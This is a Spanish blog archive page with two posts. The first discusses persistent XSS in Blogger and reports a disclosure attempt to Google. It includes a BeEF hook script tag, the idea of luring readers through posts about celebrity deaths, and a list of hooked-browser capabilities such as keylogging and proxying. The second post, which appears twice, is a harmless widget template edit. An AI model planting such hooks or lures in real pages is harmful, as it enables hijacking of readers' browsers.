Hace unos días cuando estaba investigando sobre XSS, se me ocurrió probar algunas cosas en blogger, estando prácticamente seguro de que iba a encontrar mucho... y así fue.
Si bien es sabido que blogger nos permite agregar todo tipo de JavaScript, uno podría pensar que hacen algún tipo de validación y eliminan ciertos ataques XSS... y la realidad es que, no lo hacen.
Hay que ser justos y comentar que si hacen controles en los comentarios, donde no es posible realizar éstos ataques, pero le da total libertad a el/los escrito/res del blog para insertar lo que tengan ganas.
Esto permite al blogger utilizar el blog como punto de ataque utilizando la confianza que pueden tener los lectores en un site como éste.
Realmente es muy fácil caer en blogs de blogger haciendo búsquedas en sites como google. Además blogger incorpora en todos los blogs un buscador de blogs, y el botón siguiente blog que nos lleva ciegamente a otros blogs.
Como recordarán de los artículos de XSS, entre los ataques más graves están el robo de cookies y utilizar el XSS Shell. El robo de cookies no es posible en blogger porque las cookies se manejan desde el site de google y hacen algunos artilugios para armar los IDs. Pero si es posible utilizar XSS Shell.
Utilizar algún framework como BeEF es tan simple como agregar el script <script language='Javascript' src="http://localhost/beef/hook/beefmagic.js.php"></script> en algún post.
En ese mismo post podríamos poner datos atractivos, como hablar de un famoso muerto recientemente... cualquiera que lea algún blog como el de TrendMicro sabe de cómo los cybercriminales envenenan los resultados de google utilizando algún dato hot como la muerte de famosos.
Ahora, un usuario que busca datos sobre dicho famoso quizás confíe más en un artículo de blogger que el de alguna página rara... es ahí donde está el problema con todo esto, la confianza del usuario en blogger y la poca bola que le da blogger al XSS persistente!
Una vez que las víctimas caen, qué podemos hacer? si leyeron mi anterior artículo sabrán que mucho, como ser:
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Utilizar exploits para lograr shells usando metasploit
- Otros.......
Cito el XSS Shell porque es el más abarcativo de los ataques XSS, así que piensen en que pueden hacer prácticamente cualquier cosa.
Qué dice google a todo esto? bueno en mi caso nada... les escribí hace dos semanas y como esperaba, no obtuve respuesta al respecto... les di tiempo antes de publicar esto aca, aunque no estoy contando nada que no se hubieran imaginado. Igual por las dudas esperé un tiempo razonable.
El que si tuvo más suerte fue RSnake. Bueno, al menos a un hacker tan conocido como RSnake le contestan, yo soy un simple entusiasta argentino =P
Igualmente la respuesta obtenida no fue muy alentadora. Básicamente lo que le dijeron a este famoso hacker fue: "el XSS en Google Apps es el comportamiento esperado". Básicamente ellos se ocupan de que no se puedan robar las cookies, todo lo demás es algo aceptado y se lavan las manos. El artículo completo lo pueden leer en XSS Hole In Google Apps Is "Expected Behavior". Como pueden observar, el artículo data del 2007 y todo sigue igual, así que no esperen muchos cambios en el futuro...
Cabe aclarar que este artículo está libre de XSS persistente, así que sigan navegando tranquilos... buuuuuu =P
Mostrando entradas con la etiqueta blogger. Mostrar todas las entradas
Mostrando entradas con la etiqueta blogger. Mostrar todas las entradas
Hace varios días vengo pensando en que el widget que lista los tags es poco configurable, dado que uno sólo lo agrega y no puede setear ningún parámetro. Un parámetro que me resulta importante es poder decir cuales tags debería mostrar a partir de la cantidad de referencias que tenga, porque el listado se va extendiendo cada vez más y más, haciendo molesta la navegación sobre el resto de los widgets. Además la mayoría de los tags tienen una o dos referencias, así que no es tan importante listarlos.
Por eso, me puse a buscar en el código del widget para poder cambiar esto, y porque tal vez alguien más esté pasando por lo mismo, les publico la solución.
La solución (lejos de ser óptima) es la siguiente:
- ir a la pantalla de "Diseño" y elegir "Edición de HTML"
- para ver el código de los widget, selecionen el checkbox "Expandir plantillas de artilugios" (beugh q feo suena artilugios...).
- busquen el id del widget que lista los tags en el código. Para saber cuál es el id del widget, en la página de su blog, utilicen la herramienta para ver el código fuente del firefox o el IE, o el browser q tengan, y busquenlo ahí. Es mucho más fácil encontrarlo si utilizan firefox + firebug (add-on para firefox).
Otra forma es buscar dentro de la pantalla de edición HTML de blogger el código "data:labels", con eso también encuentran el código del widget.
- el código de los tags debe verse similar a este:
- en ese código, haremos una modificación extremadamente simple. Agregaremos una condición if para que en la lista aparezcan sólo aquellos tags que se referencian más de 2 veces (ustedes elijan el valor que quieran). Las sentencias a agregar son <b:if cond="'data:label.count"> y </b:if>, donde > 2 significa que el contador deba ser mayor a dos (repito, pongan el valor que gusten).
El código con las sentencias agregadas debería quedarles similar a esto (encontrarán un comentario al lado de las sentencias agregadas):
- guardar y ver los resultados!
Si les interesa conocer un poco más sobre cómo funciona el diseño de widgets y de blogger en general, visiten la página de ayuda de blogger.
Este post va dedicado a Javi, ya que quería hacer algo similar y como yo tengo un poco más de tiempo libre, lo terminé haciendo antes. Además es una forma de agradecerle por haberme prestado la imagen que estoy utilizando en el header del blog, la cual creo que quedó excelente.
Por eso, me puse a buscar en el código del widget para poder cambiar esto, y porque tal vez alguien más esté pasando por lo mismo, les publico la solución.
La solución (lejos de ser óptima) es la siguiente:
- ir a la pantalla de "Diseño" y elegir "Edición de HTML"
- para ver el código de los widget, selecionen el checkbox "Expandir plantillas de artilugios" (beugh q feo suena artilugios...).
- busquen el id del widget que lista los tags en el código. Para saber cuál es el id del widget, en la página de su blog, utilicen la herramienta para ver el código fuente del firefox o el IE, o el browser q tengan, y busquenlo ahí. Es mucho más fácil encontrarlo si utilizan firefox + firebug (add-on para firefox).
Otra forma es buscar dentro de la pantalla de edición HTML de blogger el código "data:labels", con eso también encuentran el código del widget.
- el código de los tags debe verse similar a este:
<b:widget id='Label1' locked='false' title='Tags' type='Label'>
<b:includable id='main'>
<b:if cond='data:title'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:labels' var='label'>
<li>
<b:if cond='data:blog.url == data:label.url'>
<span expr:dir='data:blog.languageDirection'><data:label.name/></span>
<b:else/>
<a expr:dir='data:blog.languageDirection' expr:href='data:label.url'><data:label.name/></a>
</b:if>
<span dir='ltr'>(<data:label.count/>)</span>
</li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
- en ese código, haremos una modificación extremadamente simple. Agregaremos una condición if para que en la lista aparezcan sólo aquellos tags que se referencian más de 2 veces (ustedes elijan el valor que quieran). Las sentencias a agregar son <b:if cond="'data:label.count"> y </b:if>, donde > 2 significa que el contador deba ser mayor a dos (repito, pongan el valor que gusten).
El código con las sentencias agregadas debería quedarles similar a esto (encontrarán un comentario al lado de las sentencias agregadas):
<b:widget id='Label1' locked='false' title='Tags' type='Label'>
<b:includable id='main'>
<b:if cond='data:title'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:labels' var='label'>
<b:if cond='data:label.count > 2'>
<li>
<b:if cond='data:blog.url == data:label.url'>
<span expr:dir='data:blog.languageDirection'><data:label.name/></span>
<b:else/>
<a expr:dir='data:blog.languageDirection' expr:href='data:label.url'><data:label.name/></a>
</b:if>
<span dir='ltr'>(<data:label.count/>)</span>
</li>
</b:if>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
- guardar y ver los resultados!
Si les interesa conocer un poco más sobre cómo funciona el diseño de widgets y de blogger en general, visiten la página de ayuda de blogger.
Este post va dedicado a Javi, ya que quería hacer algo similar y como yo tengo un poco más de tiempo libre, lo terminé haciendo antes. Además es una forma de agradecerle por haberme prestado la imagen que estoy utilizando en el header del blog, la cual creo que quedó excelente.
Etiquetas:
blogger,
HTML,
programacion,
widget
Suscribirse a:
Entradas (Atom)
